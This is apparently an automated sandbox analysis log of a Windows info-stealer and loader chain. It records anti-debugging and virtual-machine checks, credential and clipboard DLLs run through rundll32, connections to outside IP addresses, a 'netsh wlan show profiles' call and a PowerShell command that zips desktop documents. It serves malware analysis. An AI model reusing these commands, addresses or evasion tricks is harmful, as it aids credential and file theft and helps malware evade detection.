Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Thread delayed: delay time: 30000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini	Jump to behavior

Source: explorha.exe, explorha.exe, 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmp, explorha.exe, 00000006.00000000.2298675469.0000000000CD0000.00000080.00000001.01000000.00000007.sdmp, amert.exe, 0000000C.00000002.2419990538.0000000000EFF000.00000040.00000001.01000000.0000000B.sdmp, chrosha.exe, 00000010.00000002.2898369234.000000000091F000.00000040.00000001.01000000.00000011.sdmp, 590971cd60.exe, 00000014.00000002.2887101333.0000000000E52000.00000040.00000001.01000000.00000014.sdmp, explorha.exe, 00000024.00000000.2531196988.0000000000CD0000.00000080.00000001.01000000.00000007.sdmp, MPGPH131.exe, 00000026.00000002.2747934122.0000000000902000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: MPGPH131.exe, 00000026.00000003.2572826280.00000000013EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: amert.exe, 0000000C.00000003.2401877361.00000000014EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}uQ0C\
Source: MPGPH131.exe, 00000026.00000002.2749346705.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: MPGPH131.exe, 00000026.00000002.2749346705.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000JUy0
Source: 590971cd60.exe, 00000014.00000002.2895159707.0000000007F8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _vmware
Source: explorha.exe, 00000006.00000002.2899294419.0000000000700000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2899294419.00000000006CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2527620455.0000022BD7150000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2527620455.0000022BD7214000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.2900366826.000000000066D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.2900366826.0000000000699000.00000004.00000020.00020000.00000000.sdmp, chrosha.exe, 00000010.00000002.2907399446.000000000104B000.00000004.00000020.00020000.00000000.sdmp, chrosha.exe, 00000010.00000002.2907399446.0000000001001000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.2910577091.0000019EC9C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.2921881125.0000019ECF258000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: bad48ea9ac.exe, 0000000F.00000003.2687671932.0000000003E47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: MPGPH131.exe, 00000026.00000003.2572826280.00000000013ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: 590971cd60.exe, 00000014.00000002.2895159707.0000000007F8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \?\scsi_vmwaretual_dif219&0&3f563070-94f2-b8b}t
Source: netsh.exe, 00000009.00000003.2363267427.0000022A82527000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 590971cd60.exe, 00000014.00000003.2630721503.0000000007F0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}Z@
Source: netsh.exe, 00000018.00000003.2496911308.00000203057B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllaa
Source: 590971cd60.exe, 00000014.00000003.2630721503.0000000007F0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_3DC1DCF1
Source: 590971cd60.exe, 00000014.00000003.2630675144.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: i#disk&ven_vmware&pro
Source: 590971cd60.exe, 00000014.00000003.2596974102.0000000007F8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}ta\*
Source: bad48ea9ac.exe, 0000001F.00000002.2819404632.0000000003F66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}H
Source: rundll32.exe, 0000001A.00000002.2899487024.000000000061A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: MPGPH131.exe, 00000026.00000002.2749346705.00000000013EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}Ey0
Source: 590971cd60.exe, 00000014.00000002.2888771295.000000000180E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&>'
Source: MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: UeW2b6mU6Z.exe, 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmp, UeW2b6mU6Z.exe, 00000000.00000000.1624553446.0000000000E40000.00000080.00000001.01000000.00000003.sdmp, explorha.exe, 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmp, explorha.exe, 00000001.00000000.1654835716.0000000000CD0000.00000080.00000001.01000000.00000007.sdmp, explorha.exe, 00000002.00000000.1662078999.0000000000CD0000.00000080.00000001.01000000.00000007.sdmp, explorha.exe, 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmp, explorha.exe, 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmp, explorha.exe, 00000006.00000000.2298675469.0000000000CD0000.00000080.00000001.01000000.00000007.sdmp, amert.exe, 0000000C.00000002.2419990538.0000000000EFF000.00000040.00000001.01000000.0000000B.sdmp, chrosha.exe, 00000010.00000002.2898369234.000000000091F000.00000040.00000001.01000000.00000011.sdmp, 590971cd60.exe, 00000014.00000002.2887101333.0000000000E52000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: 590971cd60.exe, 00000014.00000003.2630721503.0000000007F0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}J6HEdjEHUub5EtqTQ2dk3wwrCNfruTWZeEqONRrqgXAW0ke6pZXg==_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=*

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

Code function: 0_2_054708F6 Start: 05470966 End: 05470948

0_2_054708F6

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

Code function: 0_2_05470C1D rdtsc

0_2_05470C1D

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Code function: 6_2_00B0E110 LdrInitializeThunk,_strrchr,__alldvrm,__alldvrm,__alldvrm,

6_2_00B0E110

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C77BBB mov eax, dword ptr fs:[00000030h]	0_2_00C77BBB
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C7B922 mov eax, dword ptr fs:[00000030h]	0_2_00C7B922
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00B0B922 mov eax, dword ptr fs:[00000030h]	1_2_00B0B922
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00B07BBB mov eax, dword ptr fs:[00000030h]	1_2_00B07BBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00B0B922 mov eax, dword ptr fs:[00000030h]	2_2_00B0B922
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00B07BBB mov eax, dword ptr fs:[00000030h]	2_2_00B07BBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B0B922 mov eax, dword ptr fs:[00000030h]	6_2_00B0B922
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B07BBB mov eax, dword ptr fs:[00000030h]	6_2_00B07BBB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 193.233.132.56 80
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 193.233.132.167 80

Tries to shutdown other security tools via broadcasted WM_QUERYENDSESSION

Source: C:\ProgramData\MPGPH131\MPGPH131.exe

Message posted: Message id: QUERYENDSESSION

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe "C:\Users\user\AppData\Local\Temp\1000054001\amert.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe "C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe "C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account

Source: bad48ea9ac.exe, 0000000F.00000000.2408172800.00000000008C2000.00000002.00000001.01000000.00000010.sdmp, bad48ea9ac.exe, 0000001F.00000002.2814535383.00000000008C2000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: explorha.exe, explorha.exe, 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: 6Program Manager
Source: amert.exe, 0000000C.00000002.2419990538.0000000000EFF000.00000040.00000001.01000000.0000000B.sdmp, chrosha.exe, 00000010.00000002.2898369234.000000000091F000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: oProgram Manager
Source: MPGPH131.exe, 00000026.00000002.2747934122.0000000000902000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: w~Program Manager

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Code function: 6_2_00AEF436 cpuid

6_2_00AEF436

Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\AIXACVYBSB.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\AIXACVYBSB.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\DTBZGIOOSO.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\NHPKIZUUSG.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\XZXHAVGRAG.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\XZXHAVGRAG.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
